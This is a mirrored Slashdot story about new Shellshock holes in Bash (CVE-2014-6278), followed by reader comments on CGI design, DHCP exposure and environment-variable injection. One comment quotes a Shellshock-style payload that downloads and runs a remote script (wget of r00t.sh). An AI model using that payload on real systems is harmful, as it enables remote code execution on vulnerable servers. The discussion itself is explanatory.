Slashdot Mirror
Bash To Require Further Patching, As More Shellshock Holes Found
Bismillah writes Google security researcher Michael 'lcamtuf' Zalewski says he's discovered a new remote code execution vulnerability in the Bash parser (CVE-2014-6278) that is essentially equivalent to the original Shellshock bug, and trival to exploit. "The first one likely permits remote code execution, but the attack would require a degree of expertise to carry out," Zalewski said. "The second one is essentially equivalent to the original flaw, trivially allowing remote code execution even on systems that deployed the fix for the initial bug," he added.
A quick wrap-up of some Slashdot headlines about Windows and open source vulnerabilities. This might not be enough data to say anything certain, but an interesting trend is surely developing.
2004: New Windows Vulnerability in Help System
2004: Four New Unpatched Windows Vulnerabilities
2007: Windows Vulnerability in Animated Cursor Handling
2010: Windows DLL Vulnerability Exploit in the Wild
2012: Windows Remote Desktop Exploit in the Wild
2014: 23 Year Old X11 Server Security Vulnerability Discovered
2014: OpenSSL Bug Allows Attackers to Read Memory in 64k Chunks
2014: Remote Exploit Vulnerability in Bash
Yeah, this is what bothers me about this whole thing. People are acting like this is a terrible security hole outside of anyone's control, but if you're running an environment which allows for remote execution of anything via bash, I feel like Agent Smith said it best: "your men are already dead." That hasn't been a plausible architecture for public-facing applications for at least a decade. I remember working hard to get away from CGI-style approaches in the late '90s - back then, it was more for performance than security, but the security was an added bonus that became more apparent later.
Here the definition of the system() function call often used to run external commands:
system() executes a command specified in command by calling /bin/sh -c command
/bin/sh is linked to /bin/bash and vulnerable. Executing external commands through system(), and therefore bash, is by far the easiest method, so it is widely used. It is sufficient to trick the server or daemon.
Here a proof of concept where a dhcp server tricks a dhcp client into running an arbitrary command. https://www.trustedsec.com/sep...
Markus
Not just CGI, also DHCP became vulnerable: https://www.trustedsec.com/sep...
as pointed out by markus_baertschi above.
So it is relevant for the average end-user.
NB: The message above might reflect my opinion right now, but not necessarily tomorrow or next year.
There's nothing in the CGI specification that requires or suggests that there needs to be any kind of intermediary in handling the reqests aside from the web server. The environment is a perfectly legitimate way of passing data, and if the web server calls the CGI safely (i.e. pipe()/fork()/exec()) there's no reason for a transient interpreter like bash to get involved.
The BIG problem here is that environment variables are inherited by default by and child processes. A semi-persistent mechanism is being used (by CGI) to pass what should have been transient data.
The passed values from CGI to the command processor is intended ONLY for the command processor. This is a specification vulnerability almost on par with PHP register_globals: If you know that a certain sub-process *also* uses environment variables to pass parameters, you can poison those environment variables from the web context.
PHP register_globals was bad exactly because of this: Sometimes a script would assume that a variable having no value (e.g. "CURRENT_USER") meant that the user had not logged on; and conversely that a value meant that the user had indeed authenticated. Presto: Inject "CURRENT_USER" as a request parameter and PHP would register a global variable which would cause the test to believe that you were logged on.
The CGI way is very, very similar: Environment variables are indeed "global" and it is very difficult for the immediate receiving processor to check whether extra variables have been set (as it itself could inherit variables from its parent process).
The wrong mechanism (a semi-persistent environment) is being used to transfer what should have transient data. That is a vulnerability in the spec.
Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
Hey Anonymous coward. How many of PF Chang's, Target's, Jimmy John's, and Home Depot's POS machines were running Linux?
Third time's the charm:
cat </dev/tcp/time.nist.gov/13
:-) I wasn't aware of the feature, thanks.
Correct, because good programming languages don't have anything like eval().
Normally, in a decent programming language, if you're convinced you really need to execute unknown-until-runtime code, the first step is to get over your misconception. If you're unable to get over the misconception, then you do something like
fopen('tmp.c'); fwrite... fclose, system('cc variousflags tmp.c'); system('tmp'); and then you spend the next few weeks worrying about how awful what you did was, and rethink your unnecessary "need" to run generated code.
Kinda. With "Mark 2" it becomes considerably more difficult, as you have to find a way to set an environment variable to the same name as a command that'll be executed - at least, from the proof of concept exploits I'm seeing. So even if a badly configured webserver sets HTTP_HOST to "() { wget http://192.168.0.1/r00t.sh ; chmod +x r00t.sh; ./r00t.sh; }", unless your script actually tries to run a program called HTTP_HOST it shouldn't be called.
(If I'm wrong, expecting angry flames now ;-) Please though include details of why.)
You are not alone. This is not normal. None of this is normal.
On the open source projects I've worked on where Google is a big contributor, they are very keen to push features and randomly refactor large parts of code, but I've never seen them do anything like a security audit. They did, however, do a big audit of libavcodec (which they use) and fix around 300 security holes...
I am TheRaven on Soylent News